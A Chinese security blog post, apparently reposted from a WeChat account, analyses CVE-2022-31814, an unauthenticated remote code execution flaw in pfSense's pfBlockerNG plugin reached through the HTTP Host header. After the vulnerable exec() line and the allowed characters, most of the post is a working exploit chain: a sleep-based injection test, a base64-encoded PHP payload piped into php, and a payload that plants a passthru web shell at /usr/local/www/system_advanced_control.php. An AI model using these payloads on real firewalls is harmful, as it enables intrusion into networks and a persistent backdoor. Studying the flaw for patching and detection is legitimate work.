pfSense防火墙未授权 RCE 漏洞

admin 2022年10月5日12:05:15评论587 views字数 1676阅读5分35秒阅读模式

未经身份验证远程代码执行(CVE-2022-31814

pfSense防火墙pfBlockerNG插件

pfSense防火墙未授权 RCE 漏洞


这里pfSense防火墙的插件pfBlockerNG小于>=2.1.4_26

pfSense防火墙未授权 RCE 漏洞

pfBlockerNG手册:

https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html

这个漏洞是在文件/usr/local/www/pfblockerng/www/index.php,该文件是用于记录和查询DNSBL的数据,因为用于查询,所以代码所使用的PHP函数exec()会将数据直接可以传递到执行命令当中。

0x01 CVE-2022-31814

// Query DNSBL Alias for Domain List.$query = str_replace('.', '.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' "{$query}60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

在上面的代码中传递的$_SEVE['HTTP_HOST']是可以控制输入,会导致参数发生更改。可以通过请求头篡改参数。

pfSense防火墙未授权 RCE 漏洞


0x02 字符验证

对字符的限制几乎没有,PHP函数阻止了重定向(>和<)、双引号(")和&

pfSense防火墙未授权 RCE 漏洞


Nginx Web服务器会无法识别标头的(/),返回400

pfSense防火墙未授权 RCE 漏洞

所以只能构造利用的可用字符为以下:

(|)、(;)、(‘)、以及空格

0x03 验证

在exec()函数中复制原始命令,然后修改一下,也就是说做一个有效的POC,需要以下几点:

1、关闭单引号

2、指定搜索的目录

3、用分号做命令断开

4、注释或添加额外的单引号

如延迟注入:[' *; sleep 5; ']

/usr/bin/grep -l '"' [注入参数] 60 IN A' /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep -l '"' *;sleep 5; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*

pfSense防火墙未授权 RCE 漏洞

验证确实可行,注入有效

0x04 后门部分

构建shell的时候,默认情况“base64”没有在pfSense中安装,但我们可以重新编写成base64编码,使用Python来进行解码之后给php-cli接口就行,比如

<?echo("666");?>

base64编码后:

4oCLPD9lY2hvKCI2NjYiKTs/PuKAiw==

用python的base64进行“防君子不防小人”并将内容都放进 | php

/usr/bin/grep -l ' "' * ; echo '4oCLPD9lY2hvKCI2NjYiKTs/PuKAiw==' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*

pfSense防火墙未授权 RCE 漏洞

可以看到没有问题

之后构建后门利用载荷

在/usr/local/www/创建sys_advanced_control.php用来调用执行并获取命令

<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+

pfSense防火墙未授权 RCE 漏洞


Exploit利用

pfSense防火墙未授权 RCE 漏洞




pfSense防火墙未授权 RCE 漏洞

欢迎大家一起加群讨论学习和交流

pfSense防火墙未授权 RCE 漏洞

树不修,长不直;人不学,没知识

原文始发于微信公众号(衡阳信安):pfSense防火墙未授权 RCE 漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月5日12:05:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pfSense防火墙未授权 RCE 漏洞http://cn-sec.com/archives/1331182.html

发表评论

匿名网友 填写信息